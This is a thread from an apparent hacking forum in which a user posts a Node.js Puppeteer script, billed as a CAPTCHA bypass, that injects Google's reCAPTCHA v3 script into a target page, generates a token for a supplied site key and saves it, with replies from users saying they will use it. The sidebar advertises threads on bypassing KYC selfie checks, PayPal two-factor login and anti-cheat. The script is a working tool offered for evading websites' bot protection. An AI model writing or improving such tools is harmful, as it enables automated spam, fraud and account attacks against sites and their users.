CAPTCHA bypass script
by xnordx - Wednesday February 26, 2025 at 02:04 PM
#1
CAPTCHA bypass script. Help me to improve it.

const puppeteer = require('puppeteer');
const readline = require('readline-sync');
const colors = require('colors');
const fs = require('fs');

(async () => {
    let continuar = true;

    while (continuar) {
       
        console.clear();

        const asciiArt = `
        ┬─┐┌─┐╔═╗╔═╗╔═╗╔╦╗╔═╗╦ ╦╔═╗
        ├┬┘├┤ ║  ╠═╣╠═╝ ║ ║  ╠═╣╠═╣
        ┴└─└─┘╚═╝╩ ╩╩  ╩ ╚═╝╩ ╩╩ ╩       
        `;

        console.log(asciiArt.yellow);
        console.log('CAPTCHA V3'.yellow);

        const url = readline.question('URL: ');
        const siteKey = readline.question('KEY: ');

        if (!url || !siteKey) {
            console.error('Must supply URL and KEY.'.red);
            process.exit(1);
        }

        try {
            const browser = await puppeteer.launch({
                headless: true,
            });

            const page = await browser.newPage();

            console.log('Loading!'.yellow);
            await page.goto(url);

            console.log('\nreCAPTCHA DONE  ?'.green);
            await page.evaluate((siteKey) => {
                return new Promise((resolve) => {
                    const script = document.createElement('script');
                    script.src = 'https://www.google.com/recaptcha/api.js';
                    script.onload = resolve;
                    document.head.appendChild(script);
                });
            }, siteKey);

            const token = await page.evaluate((siteKey) => {
                return new Promise((resolve, reject) => {
                    grecaptcha.ready(() => {
                        grecaptcha.execute(siteKey, { action: 'submit' })
                            .then(resolve)
                            .catch(reject);
                    });
                });
            }, siteKey);

            console.log('\nTOKEN:'.cyan);
            console.log(token);

            const fileName = `token-${Date.now()}.txt`;
            fs.writeFileSync(fileName, token);

            console.log(`\nSaved: ${fileName}`.green);

            await browser.close();
        } catch (error) {
            console.error('ERROR:', error.message.red);
        }

        const resposta = readline.question('\nagain? (y/n): '.yellow).toLowerCase();
        if (resposta !== 'y') {
            continuar = false;
            console.log('bye'.yellow);
        }
    }
})();
Reply
#2
This is good work so far, once its completed Ill use it
Reply
#3
(02-26-2025, 02:10 PM)DataSec Wrote: This is good work so far, once its completed Ill use it

U are not alone Big Grin Big Grin
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Bypass KYC camera verification (Binance, Revolut...) Venalita 1,602 45,137 11 hours ago
Last Post: Dylanouska
  How To Bypass Selfie Verification HackingRealm 2,281 132,686 Yesterday, 12:34 PM
Last Post: bennyvegas
  Using KVMs to bypass Kernel Anticheat VM Checks jahy 16 1,637 03-26-2026, 10:52 PM
Last Post: 17989434
  Paypal Login Method [2FA BYPASS] - 2024 asgaard100 195 5,640 03-26-2026, 06:35 PM
Last Post: lumi90430
  ⭐️ ULTIMATE GUIDE BYPASS 2FA ON ALL PLATFORMS | UNPATCHED 2024 | INSIDER METHODS ⭐️ Alleged 538 13,447 02-09-2026, 08:51 AM
Last Post: birhikayemvar



 Users browsing this thread: